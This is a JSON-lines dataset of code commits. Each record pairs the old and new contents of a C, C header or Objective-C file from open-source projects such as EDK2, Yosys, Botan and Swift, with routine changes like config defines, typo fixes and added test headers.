{"commit":"75219476c5d5c5f418075dfe35e033fea95e7787","old_file":"bluetooth\/bdroid_buildcfg.h","new_file":"bluetooth\/bdroid_buildcfg.h","old_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#define BTM_WBS_INCLUDED TRUE\n#define BTIF_HF_WBS_PREFERRED TRUE\n\n#endif\n","new_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#define BTM_WBS_INCLUDED TRUE\n#define BTIF_HF_WBS_PREFERRED TRUE\n#define BLE_VND_INCLUDED TRUE\n#endif\n","subject":"Use run time parameters to control LE features","message":"Use run time parameters to control LE features\n\n    Use values read from controller to enable and control LE features such as\n    multi advertising, RPA offload, maximum irk size etc\n    bug 15393216\n","lang":"C","license":"apache-2.0","repos":"maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead"}
{"commit":"ed02ba882c16165e6d7241e4b59cb9bacd653a4e","old_file":"milestone2\/1.c","new_file":"milestone2\/1.c","old_contents":"extern void print_int(int x);\nextern void print_string(char c[]);\n\nint x;\nchar c;\n\nvoid main(void){\n\n    \/\/ check signed-ness of char -> int conversion\n    x = -1;\n    c = x;\n    print_string(\"should get -1\\ngot: \");\n    print_int(c);\n    print_string(\"\\n\\n\");\n\n    x = -2147483647;\n    print_string(\"should get -2147483647\\ngot: \");\n    print_int(x);\n    print_string(\"\\n\\n\");\n\n    \/\/ check signed-ness of char -> int conversion\n    x = -2147483648;\n    print_string(\"should get -2147483648\\ngot: \");\n    print_int(x);\n    print_string(\"\\n\\n\");\n}\n","new_contents":"extern void print_int(int x);\nextern void print_string(char c[]);\n\nint x;\nchar c;\n\nvoid main(void){\n\n    \/* check signed-ness of char -> int conversion *\/\n    x = -1;\n    c = x;\n    print_string(\"should get -1\\ngot: \");\n    print_int(c);\n    print_string(\"\\n\\n\");\n\n    x = -2147483647;\n    print_string(\"should get -2147483647\\ngot: \");\n    print_int(x);\n    print_string(\"\\n\\n\");\n\n    \/* check signed-ness of char -> int conversion *\/\n    x = -2147483648;\n    print_string(\"should get -2147483648\\ngot: \");\n    print_int(x);\n    print_string(\"\\n\\n\");\n}\n","subject":"Edit comments so they align with our C-- spec","message":"Edit comments so they align with our C-- spec\n","lang":"C","license":"unlicense","repos":"mgaut72\/cmm-examples,mgaut72\/cmm-examples"}
{"commit":"20530dabfaebe04c7fdd9ca6637c0ab093f7db24","old_file":"src\/tool\/hpcrun\/unwind\/mips\/_unw-datatypes.h","new_file":"src\/tool\/hpcrun\/unwind\/mips\/_unw-datatypes.h","old_contents":"","new_contents":"#ifndef _UNWIND_DATATYPE_H\n#define _UNWIND_DATATYPE_H\n\n#include <unwind\/common\/std_unw_cursor.h>\ntypedef void* unw_word_t;\n\n#endif\n","subject":"Add _unw_datatypes.h to unwind\/mips directory","message":"Add _unw_datatypes.h to unwind\/mips directory\n","lang":"C","license":"bsd-3-clause","repos":"zcth428\/hpctoolkit111,zcth428\/hpctoolkit,zcth428\/hpctoolkit111,zcth428\/hpctoolkit111,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit,zcth428\/hpctoolkit111,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit111,zcth428\/hpctoolkit,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit"}
{"commit":"00b0796e07fdb5817ed880fe622c15f0ab549a0b","old_file":"MdePkg\/Include\/Protocol\/MonotonicCounter.h","new_file":"MdePkg\/Include\/Protocol\/MonotonicCounter.h","old_contents":"\/** @file\r\n  Monotonic Counter Architectural Protocol as defined in PI SPEC VOLUME 2 DXE\r\n\r\n  This code provides the services required to access the systems monotonic counter\r\n\r\n  Copyright (c) 2006 - 2008, Intel Corporation                                                         \r\n  All rights reserved. This program and the accompanying materials                          \r\n  are licensed and made available under the terms and conditions of the BSD License         \r\n  which accompanies this distribution.  The full text of the license may be found at        \r\n  http:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\n**\/\r\n\r\n#ifndef __ARCH_PROTOCOL_MONTONIC_COUNTER_H__\r\n#define __ARCH_PROTOCOL_MONTONIC_COUNTER_H__\r\n\r\n\/\/\/\r\n\/\/\/ Global ID for the Monotonic Counter Architectural Protocol\r\n\/\/\/\r\n#define EFI_MONTONIC_COUNTER_ARCH_PROTOCOL_GUID \\\r\n  {0x1da97072, 0xbddc, 0x4b30, {0x99, 0xf1, 0x72, 0xa0, 0xb5, 0x6f, 0xff, 0x2a} }\r\n  \r\nextern EFI_GUID gEfiMonotonicCounterArchProtocolGuid;\r\n\r\n#endif\r\n","new_contents":"\/** @file\r\n  Monotonic Counter Architectural Protocol as defined in PI SPEC VOLUME 2 DXE\r\n\r\n  This code provides the services required to access the systems monotonic counter\r\n\r\n  Copyright (c) 2006 - 2010, Intel Corporation                                                         \r\n  All rights reserved. This program and the accompanying materials                          \r\n  are licensed and made available under the terms and conditions of the BSD License         \r\n  which accompanies this distribution.  The full text of the license may be found at        \r\n  http:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\n**\/\r\n\r\n#ifndef __ARCH_PROTOCOL_MONTONIC_COUNTER_H__\r\n#define __ARCH_PROTOCOL_MONTONIC_COUNTER_H__\r\n\r\n\/\/\/\r\n\/\/\/ Global ID for the Monotonic Counter Architectural Protocol\r\n\/\/\/\r\n#define EFI_MONOTONIC_COUNTER_ARCH_PROTOCOL_GUID \\\r\n  {0x1da97072, 0xbddc, 0x4b30, {0x99, 0xf1, 0x72, 0xa0, 0xb5, 0x6f, 0xff, 0x2a} }\r\n  \r\nextern EFI_GUID gEfiMonotonicCounterArchProtocolGuid;\r\n\r\n#endif\r\n","subject":"Fix typo in Monotonic Counter GUID macro name","message":"Fix typo in Monotonic Counter GUID macro name\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@9806 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"0302e97ebcbb18c9b0bd97ac6641f4b79c401bd0","old_file":"libs\/fst\/config.h","new_file":"libs\/fst\/config.h","old_contents":"\/* Define to 1 if you have <alloca.h> and it should be used (not on Ultrix).\n *\/\n#define HAVE_ALLOCA_H 1\n\n\/* Define to 1 if fseeko (and presumably ftello) exists and is declared. *\/\n#define HAVE_FSEEKO 1\n\n\/* Define to 1 if you have the `pthread' library (-lpthread). *\/\n#define HAVE_LIBPTHREAD 1\n\n\/* Define to 1 if you have the `realpath' function. *\/\n#define HAVE_REALPATH 1\n\n#if defined(__MINGW32__)\n#undef HAVE_ALLOCA_H\n#undef HAVE_REALPATH\n#endif\n#if defined(_MSC_VER)\n#undef HAVE_ALLOCA_H\n#undef HAVE_REALPATH\n#undef HAVE_LIBPTHREAD\n#undef HAVE_FSEEKO\n#endif\n\n# ifndef __STDC_FORMAT_MACROS\n#  define __STDC_FORMAT_MACROS 1\n# endif\n","new_contents":"\/* Define to 1 if you have <alloca.h> and it should be used (not on Ultrix).\n *\/\n#define HAVE_ALLOCA_H 1\n\n\/* Define to 1 if fseeko (and presumably ftello) exists and is declared. *\/\n#define HAVE_FSEEKO 1\n\n\/* Define to 1 if you have the `pthread' library (-lpthread). *\/\n#define HAVE_LIBPTHREAD 1\n\n\/* Define to 1 if you have the `realpath' function. *\/\n#define HAVE_REALPATH 1\n\n#if defined(__MINGW32__)\n#undef HAVE_ALLOCA_H\n#undef HAVE_REALPATH\n#endif\n#if defined(_MSC_VER)\n#undef HAVE_ALLOCA_H\n#undef HAVE_REALPATH\n#undef HAVE_LIBPTHREAD\n#undef HAVE_FSEEKO\n#endif\n#ifdef __FreeBSD__\n#undef HAVE_ALLOCA_H\n#endif\n\n# ifndef __STDC_FORMAT_MACROS\n#  define __STDC_FORMAT_MACROS 1\n# endif\n","subject":"Fix build on FreeBSD, which has no alloca.h","message":"Fix build on FreeBSD, which has no alloca.h\n","lang":"C","license":"isc","repos":"YosysHQ\/yosys,YosysHQ\/yosys,YosysHQ\/yosys,YosysHQ\/yosys,YosysHQ\/yosys,YosysHQ\/yosys,YosysHQ\/yosys,YosysHQ\/yosys"}
{"commit":"97a1b20724963af57de4e08b4baf17e8243ba4d5","old_file":"src\/datablocks\/kreborder.h","new_file":"src\/datablocks\/kreborder.h","old_contents":"\/***************************************************************************\n*   Copyright © 2004 Jason Kivlighn <jkivlighn@gmail.com>                 *\n*                                                                         *\n*   This program is free software; you can redistribute it and\/or modify  *\n*   it under the terms of the GNU General Public License as published by  *\n*   the Free Software Foundation; either version 2 of the License, or     *\n*   (at your option) any later version.                                   *\n***************************************************************************\/\n\n#ifndef KREBORDER_H\n#define KREBORDER_H\n\n#include <QColor>\n#include <QString>\n\n\/\/typedef enum KreBorderStyle { None = 0, Dotted, Dashed, Solid, Double, Groove, Ridge, Inset, Outset };\n\nclass KreBorder\n{\npublic:\n\tKreBorder( int w = 1, const QString & s = \"none\", const QColor &c = Qt::black );\n\n\tint width;\n\tQString style;\n\tQColor color;\n};\n\n#endif \/\/KREBORDER_H\n","new_contents":"\/***************************************************************************\n*   Copyright © 2004 Jason Kivlighn <jkivlighn@gmail.com>                 *\n*                                                                         *\n*   This program is free software; you can redistribute it and\/or modify  *\n*   it under the terms of the GNU General Public License as published by  *\n*   the Free Software Foundation; either version 2 of the License, or     *\n*   (at your option) any later version.                                   *\n***************************************************************************\/\n\n#ifndef KREBORDER_H\n#define KREBORDER_H\n\n#include <QColor>\n#include <QString>\n\n\/\/typedef enum KreBorderStyle { None = 0, Dotted, Dashed, Solid, Double, Groove, Ridge, Inset, Outset };\n\nclass KreBorder\n{\npublic:\n\texplicit KreBorder( int w = 1, const QString & s = \"none\", const QColor &c = Qt::black );\n\n\tint width;\n\tQString style;\n\tQColor color;\n};\n\n#endif \/\/KREBORDER_H\n","subject":"Fix Krazy warnings: explicit - KreBorder","message":"Fix Krazy warnings: explicit - KreBorder\n\nsvn path=\/trunk\/extragear\/utils\/krecipes\/; revision=1119814\n","lang":"C","license":"lgpl-2.1","repos":"eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes"}
{"commit":"d239760f811873271d32388f649c69e73802da8d","old_file":"tests\/regression\/06-symbeq\/31-var_eq-unknown-invalidate.c","new_file":"tests\/regression\/06-symbeq\/31-var_eq-unknown-invalidate.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] var_eq\n\/\/ ldv-benchmarks: u__linux-concurrency_safety__drivers---net---ethernet---ethoc.ko.cil.c\n#include <assert.h>\n\nstruct resource {\n   char const *name ;\n   unsigned long flags ;\n   struct resource *parent ;\n   struct resource *sibling ;\n   struct resource *child ;\n};\n\nstruct resource *magic();\n\nint main() {\n  struct resource *res = (struct resource *)0;\n  res = magic();\n\n  if (res == (struct resource *)0)\n    assert(1); \/\/ reachable\n  else\n    assert(1); \/\/ TODO reachable\n\n  return 0;\n}","subject":"Add var_eq unsound unknown function invalidate test","message":"Add var_eq unsound unknown function invalidate test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"3fd3731b09766f04091941d7bf5ffab824394a0d","old_file":"sift\/recorder\/threads.h","new_file":"sift\/recorder\/threads.h","old_contents":"#ifndef __THREAD_INFO_H\n#define __THREAD_INFO_H\n\n#include \"globals.h\"\n#include \"sift_writer.h\"\n#include \"bbv_count.h\"\n\n#include \"pin.H\"\n#include <deque>\n\ntypedef struct {\n   Sift::Writer *output;\n   std::deque<ADDRINT> *dyn_address_queue;\n   Bbv *bbv;\n   UINT64 thread_num;\n   ADDRINT bbv_base;\n   UINT64 bbv_count;\n   ADDRINT bbv_last;\n   BOOL bbv_end;\n   UINT64 blocknum;\n   UINT64 icount;\n   UINT64 icount_detailed;\n   UINT32 last_syscall_number;\n   UINT32 last_syscall_returnval;\n   UINT64 flowcontrol_target;\n   ADDRINT tid_ptr;\n   ADDRINT last_routine;\n   BOOL last_syscall_emulated;\n   BOOL running;\n   #if defined(TARGET_IA32)\n      uint8_t __pad[41];\n   #elif defined(TARGET_INTEL64)\n      uint8_t __pad[13];\n   #endif\n} __attribute__((packed)) thread_data_t;\n\nextern thread_data_t *thread_data;\n\nvoid initThreads();\n\n#endif \/\/ __THREAD_INFO_H\n","new_contents":"#ifndef __THREAD_INFO_H\n#define __THREAD_INFO_H\n\n#include \"globals.h\"\n#include \"sift_writer.h\"\n#include \"bbv_count.h\"\n\n#include \"pin.H\"\n#include <deque>\n\ntypedef struct {\n   Sift::Writer *output;\n   std::deque<ADDRINT> *dyn_address_queue;\n   Bbv *bbv;\n   UINT64 thread_num;\n   ADDRINT bbv_base;\n   UINT64 bbv_count;\n   ADDRINT bbv_last;\n   BOOL bbv_end;\n   UINT64 blocknum;\n   UINT64 icount;\n   UINT64 icount_detailed;\n   ADDRINT last_syscall_number;\n   ADDRINT last_syscall_returnval;\n   UINT64 flowcontrol_target;\n   ADDRINT tid_ptr;\n   ADDRINT last_routine;\n   BOOL last_syscall_emulated;\n   BOOL running;\n   #if defined(TARGET_IA32)\n      uint8_t __pad[41];\n   #elif defined(TARGET_INTEL64)\n      uint8_t __pad[5];\n   #endif\n} __attribute__((packed)) thread_data_t;\n\nextern thread_data_t *thread_data;\n\nvoid initThreads();\n\n#endif \/\/ __THREAD_INFO_H\n","subject":"Fix data type for syscall return value to be native word size (ADDRINT rather than INT32) so negative system call return values are passed back correctly","message":"[sift] Fix data type for syscall return value to be native word size (ADDRINT rather than INT32) so negative system call return values are passed back correctly\n","lang":"C","license":"mit","repos":"abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper"}
{"commit":"391385fc4ec94084cebabd40dde97217645bf274","old_file":"src\/lib\/pk_pad\/eme_oaep\/oaep.h","new_file":"src\/lib\/pk_pad\/eme_oaep\/oaep.h","old_contents":"\/*\n* OAEP\n* (C) 1999-2007 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_OAEP_H_\n#define BOTAN_OAEP_H_\n\n#include <botan\/eme.h>\n#include <botan\/hash.h>\n\nnamespace Botan {\n\n\/**\n* OAEP (called EME1 in IEEE 1363 and in earlier versions of the library)\n*\/\nclass BOTAN_PUBLIC_API(2,0) OAEP final : public EME\n   {\n   public:\n      size_t maximum_input_size(size_t) const override;\n\n      \/**\n      * @param hash function to use for hashing (takes ownership)\n      * @param P an optional label. Normally empty.\n      *\/\n      OAEP(HashFunction* hash, const std::string& P = \"\");\n   private:\n      secure_vector<uint8_t> pad(const uint8_t in[],\n                              size_t in_length,\n                              size_t key_length,\n                              RandomNumberGenerator& rng) const override;\n\n      secure_vector<uint8_t> unpad(uint8_t& valid_mask,\n                                const uint8_t in[],\n                                size_t in_len) const override;\n\n      secure_vector<uint8_t> m_Phash;\n      std::unique_ptr<HashFunction> m_hash;\n   };\n\n}\n\n#endif\n","new_contents":"\/*\n* OAEP\n* (C) 1999-2007 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_OAEP_H_\n#define BOTAN_OAEP_H_\n\n#include <botan\/eme.h>\n#include <botan\/hash.h>\n\nnamespace Botan {\n\n\/**\n* OAEP (called EME1 in IEEE 1363 and in earlier versions of the library)\n* as specified in PKCS#1 v2.0 (RFC 2437)\n*\/\nclass BOTAN_PUBLIC_API(2,0) OAEP final : public EME\n   {\n   public:\n      size_t maximum_input_size(size_t) const override;\n\n      \/**\n      * @param hash function to use for hashing (takes ownership)\n      * @param P an optional label. Normally empty.\n      *\/\n      OAEP(HashFunction* hash, const std::string& P = \"\");\n   private:\n      secure_vector<uint8_t> pad(const uint8_t in[],\n                              size_t in_length,\n                              size_t key_length,\n                              RandomNumberGenerator& rng) const override;\n\n      secure_vector<uint8_t> unpad(uint8_t& valid_mask,\n                                const uint8_t in[],\n                                size_t in_len) const override;\n\n      secure_vector<uint8_t> m_Phash;\n      std::unique_ptr<HashFunction> m_hash;\n   };\n\n}\n\n#endif\n","subject":"Add note on OAEP version implemented","message":"Add note on OAEP version implemented [ci skip]\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan"}
{"commit":"6972c7b3cb1c3b4e58b4205e221cdce2e0dfee68","old_file":"include\/HubFramework\/HUBComponentCategories.h","new_file":"include\/HubFramework\/HUBComponentCategories.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n *  Type for objects that describe a component category to use for fallbacks using `HUBComponentFallbackHandler`\n *\n *  An application using the Hub Framework can declare any number of categories to use when performing fallback logic\n *  for components, in case an unknown component namespace\/name combo was encountered.\n *\n *  Ideally, a component category should be generic enough to apply to a range of components with similar visuals and\n *  behavior, but still contain enough information for a `HUBComponentFallbackHandler` to create appropriate fallback\n *  components based on them.\n *\/\ntypedef NSObject<NSCopying, NSCoding> HUBComponentCategory;\n\n\/\/\/ Category for components that have a row-like appearance, with a full screen width and a compact height\nstatic HUBComponentCategory * const HUBComponentCategoryRow = @\"row\";\n\n\/\/\/ Category for components that have a card-like appearance, that are placable in a grid with compact width & height\nstatic HUBComponentCategory * const HUBComponentCategoryCard = @\"card\";\n\n\/\/\/ Category for components that have a carousel-like apperance, with a swipeable horizontal set of child components\nstatic HUBComponentCategory * const HUBComponentCategoryCarousel = @\"carousel\";\n\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/**\n *  Type for objects that describe a component category to use for fallbacks using `HUBComponentFallbackHandler`\n *\n *  An application using the Hub Framework can declare any number of categories to use when performing fallback logic\n *  for components, in case an unknown component namespace\/name combo was encountered.\n *\n *  Ideally, a component category should be generic enough to apply to a range of components with similar visuals and\n *  behavior, but still contain enough information for a `HUBComponentFallbackHandler` to create appropriate fallback\n *  components based on them.\n *\/\ntypedef NSObject<NSCopying, NSCoding> HUBComponentCategory;\n\n\/\/\/ Category for components that have a row-like appearance, with a full screen width and a compact height\nstatic HUBComponentCategory * const HUBComponentCategoryRow = @\"row\";\n\n\/\/\/ Category for components that have a card-like appearance, that are placable in a grid with compact width & height\nstatic HUBComponentCategory * const HUBComponentCategoryCard = @\"card\";\n\n\/\/\/ Category for components that have a carousel-like apperance, with a swipeable horizontal set of child components\nstatic HUBComponentCategory * const HUBComponentCategoryCarousel = @\"carousel\";\n\n\/\/\/ Category for components that have a banner-like appearance, imagery-heavy with a full screen width and compact height\nstatic HUBComponentCategory * const HUBComponentCategoryBanner = @\"banner\";","subject":"Add component category for banners","message":"Add component category for banners\n\nNeeded for components like billboards, promotions etc that are neither\ncards or rows.","lang":"C","license":"apache-2.0","repos":"spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework"}
{"commit":"329ca68e8c93524d269611d301a4dea908bb33d3","old_file":"test\/ClangModules\/Inputs\/custom-modules\/ObjCImplicitProperties.h","new_file":"test\/ClangModules\/Inputs\/custom-modules\/ObjCImplicitProperties.h","old_contents":"__attribute__((objc_root_class))\n@interface ImplicitProperties\n- (id)implicitProperty;\n- (void)setImplicitProperty:(id)implicitProperty;\n\n- (void)setAnotherImplicitProperty:(int)implicitProperty;\n- (int)anotherImplicitProperty;\n@end\n\n__attribute__((objc_root_class))\n@interface BadImplicitProperties\n- (int)nonVoidReturn;\n- (int)setNonVoidReturn:(int)val;\n\n- (void)setNonMatchingType:(id)val;\n- (int)nonMatchingType;\n\n- (int)wrongGetterArgs:(int)val;\n- (void)setWrongGetterArgs:(int)val;\n\n- (void)setWrongSetterArgs:(int)val extra:(int)another;\n- (int)wrongSetterArgs;\n\n- (int)wrongSetterArgs2;\n- (void)setWrongSetterArgs2;\n\n- (int)getterOnly;\n\n- (void)setSetterOnly:(int)val;\n@end\n","new_contents":"__attribute__((objc_root_class))\n@interface ImplicitProperties\n- (id)implicitProperty;\n- (void)setImplicitProperty:(id)implicitProperty;\n\n- (void)setAnotherImplicitProperty:(int)implicitProperty;\n- (int)anotherImplicitProperty;\n@end\n\n__attribute__((objc_root_class))\n@interface BadImplicitProperties\n- (int)nonVoidReturn;\n- (int)setNonVoidReturn:(int)val;\n\n- (void)setNonMatchingType:(id)val;\n- (int)nonMatchingType;\n\n- (int)wrongGetterArgs:(int)val;\n- (void)setWrongGetterArgs:(int)val;\n\n- (void)setWrongSetterArgs:(int)val extra:(int)another;\n- (int)wrongSetterArgs;\n\n- (int)wrongSetterArgs2;\n- (void)setWrongSetterArgs2;\n\n- (int)getterOnly;\n\n- (void)setSetterOnly:(int)val;\n@end\n\n\n@protocol PropertiesProto\n- (id)methodInProto;\n@property id propertyInProto;\n@end\n\n__attribute__((objc_root_class))\n@interface Base <PropertiesProto>\n- (id)methodInBase;\n@property(readonly) id propertyInBase;\n\n- (id)methodPairInBase;\n- (void)setMethodPairInBase:(id)value;\n\n- (id)getterOnlyInBase;\n\n- (void)setSetterOnlyInBase:(id)value;\n\n@property id methodInProto;\n- (id)propertyInProto;\n- (id)methodInBaseButPropertyInProto;\n@property id propertyInBaseButMethodInProto;\n@end\n\n@protocol SubProto\n- (id)propertyInBaseButMethodInProto;\n@property id methodInBaseButPropertyInProto;\n@end\n\n@interface Sub : Base <SubProto>\n@property id methodInBase;\n- (id)propertyInBase;\n\n- (void)setMethodPairInBase:(id)value;\n\n- (id)getterOnlyInBase;\n- (void)setGetterOnlyInBase:(id)value;\n\n- (id)setterOnlyInBase;\n@end\n","subject":"Add some more tests for mixing methods and properties.","message":"[ClangImporter] Add some more tests for mixing methods and properties.\n\nThe rule right now is basically \"the class is most important, followed by\nthe superclass, followed by protocols\", which I think is the right rule.\nAs long as we aren't required to \/check\/ the conformance to an Objective-C\nprotocol, we should be fine.\n\nSwift SVN r16036\n","lang":"C","license":"apache-2.0","repos":"russbishop\/swift,calebd\/swift,zisko\/swift,dduan\/swift,rudkx\/swift,slavapestov\/swift,slavapestov\/swift,Jnosh\/swift,amraboelela\/swift,xwu\/swift,shajrawi\/swift,alblue\/swift,devincoughlin\/swift,LeoShimonaka\/swift,tjw\/swift,mightydeveloper\/swift,sdulal\/swift,hooman\/swift,jtbandes\/swift,jckarter\/swift,tardieu\/swift,practicalswift\/swift,sschiau\/swift,brentdax\/swift,jtbandes\/swift,kusl\/swift,jmgc\/swift,kstaring\/swift,lorentey\/swift,roambotics\/swift,kperryua\/swift,Ivacker\/swift,CodaFi\/swift,gribozavr\/swift,xwu\/swift,kentya6\/swift,huonw\/swift,uasys\/swift,russbishop\/swift,xwu\/swift,milseman\/swift,natecook1000\/swift,rudkx\/swift,tjw\/swift,frootloops\/swift,natecook1000\/swift,milseman\/swift,kentya6\/swift,shajrawi\/swift,khizkhiz\/swift,nathawes\/swift,djwbrown\/swift,KrishMunot\/swift,gottesmm\/swift,apple\/swift,IngmarStein\/swift,hooman\/swift,JGiola\/swift,calebd\/swift,Ivacker\/swift,parkera\/swift,parkera\/swift,bitjammer\/swift,devincoughlin\/swift,gribozavr\/swift,gmilos\/swift,SwiftAndroid\/swift,rudkx\/swift,jmgc\/swift,russbishop\/swift,ahoppen\/swift,codestergit\/swift,zisko\/swift,bitjammer\/swift,MukeshKumarS\/Swift,calebd\/swift,SwiftAndroid\/swift,sdulal\/swift,airspeedswift\/swift,manavgabhawala\/swift,sschiau\/swift,stephentyrone\/swift,alblue\/swift,gregomni\/swift,kperryua\/swift,dduan\/swift,shajrawi\/swift,tinysun212\/swift-windows,glessard\/swift,therealbnut\/swift,emilstahl\/swift,KrishMunot\/swift,Jnosh\/swift,ben-ng\/swift,austinzheng\/swift,kusl\/swift,allevato\/swift,cbrentharris\/swift,codestergit\/swift,manavgabhawala\/swift,atrick\/swift,manavgabhawala\/swift,stephentyrone\/swift,johnno1962d\/swift,airspeedswift\/swift,harlanhaskins\/swift,CodaFi\/swift,MukeshKumarS\/Swift,kusl\/swift,CodaFi\/swift,huonw\/swift,SwiftAndroid\/swift,ben-ng\/swift,ahoppen\/swift,glessard\/swift,shajrawi\/swift,aschwaighofer\/swift,IngmarStein\/swift,deyton\/swift,russbishop\/swift,johnno1962d\/swift,ken0nek\/swift,swiftix\/swift,kentya6\/swift,OscarSwanros\/swift,dduan\/swift,sschiau\/swift,aschwaighofer\/swift,lorentey\/swift,deyton\/swift,adrfer\/swift,natecook1000\/swift,tkremenek\/swift,glessard\/swift,allevato\/swift,karwa\/swift,milseman\/swift,gmilos\/swift,austinzheng\/swift,gregomni\/swift,danielmartin\/swift,SwiftAndroid\/swift,airspeedswift\/swift,therealbnut\/swift,apple\/swift,LeoShimonaka\/swift,gottesmm\/swift,JGiola\/swift,jckarter\/swift,deyton\/swift,kperryua\/swift,jtbandes\/swift,jopamer\/swift,swiftix\/swift.old,modocache\/swift,CodaFi\/swift,jtbandes\/swift,shajrawi\/swift,karwa\/swift,swiftix\/swift.old,jckarter\/swift,apple\/swift,tinysun212\/swift-windows,kusl\/swift,benlangmuir\/swift,practicalswift\/swift,allevato\/swift,shahmishal\/swift,KrishMunot\/swift,practicalswift\/swift,gottesmm\/swift,devincoughlin\/swift,shajrawi\/swift,JaSpa\/swift,gottesmm\/swift,MukeshKumarS\/Swift,devincoughlin\/swift,codestergit\/swift,brentdax\/swift,apple\/swift,tardieu\/swift,parkera\/swift,benlangmuir\/swift,hooman\/swift,kusl\/swift,natecook1000\/swift,parkera\/swift,xwu\/swift,codestergit\/swift,karwa\/swift,arvedviehweger\/swift,emilstahl\/swift,bitjammer\/swift,hughbe\/swift,brentdax\/swift,djwbrown\/swift,hooman\/swift,hughbe\/swift,harlanhaskins\/swift,MukeshKumarS\/Swift,jopamer\/swift,karwa\/swift,arvedviehweger\/swift,IngmarStein\/swift,dduan\/swift,LeoShimonaka\/swift,CodaFi\/swift,deyton\/swift,lorentey\/swift,gribozavr\/swift,kstaring\/swift,hooman\/swift,ahoppen\/swift,tkremenek\/swift,djwbrown\/swift,natecook1000\/swift,cbrentharris\/swift,roambotics\/swift,glessard\/swift,LeoShimonaka\/swift,therealbnut\/swift,stephentyrone\/swift,kusl\/swift,JaSpa\/swift,therealbnut\/swift,atrick\/swift,bitjammer\/swift,MukeshKumarS\/Swift,hooman\/swift,bitjammer\/swift,devincoughlin\/swift,gottesmm\/swift,ken0nek\/swift,shahmishal\/swift,kusl\/swift,MukeshKumarS\/Swift,cbrentharris\/swift,manavgabhawala\/swift,dduan\/swift,danielmartin\/swift,kentya6\/swift,karwa\/swift,zisko\/swift,calebd\/swift,tkremenek\/swift,shajrawi\/swift,felix91gr\/swift,mightydeveloper\/swift,manavgabhawala\/swift,shahmishal\/swift,felix91gr\/swift,khizkhiz\/swift,ben-ng\/swift,sschiau\/swift,tardieu\/swift,practicalswift\/swift,CodaFi\/swift,harlanhaskins\/swift,sdulal\/swift,dduan\/swift,JGiola\/swift,kperryua\/swift,swiftix\/swift,slavapestov\/swift,nathawes\/swift,airspeedswift\/swift,zisko\/swift,deyton\/swift,uasys\/swift,russbishop\/swift,swiftix\/swift,therealbnut\/swift,ken0nek\/swift,emilstahl\/swift,roambotics\/swift,Ivacker\/swift,austinzheng\/swift,KrishMunot\/swift,benlangmuir\/swift,jopamer\/swift,aschwaighofer\/swift,OscarSwanros\/swift,harlanhaskins\/swift,modocache\/swift,danielmartin\/swift,huonw\/swift,khizkhiz\/swift,Ivacker\/swift,frootloops\/swift,emilst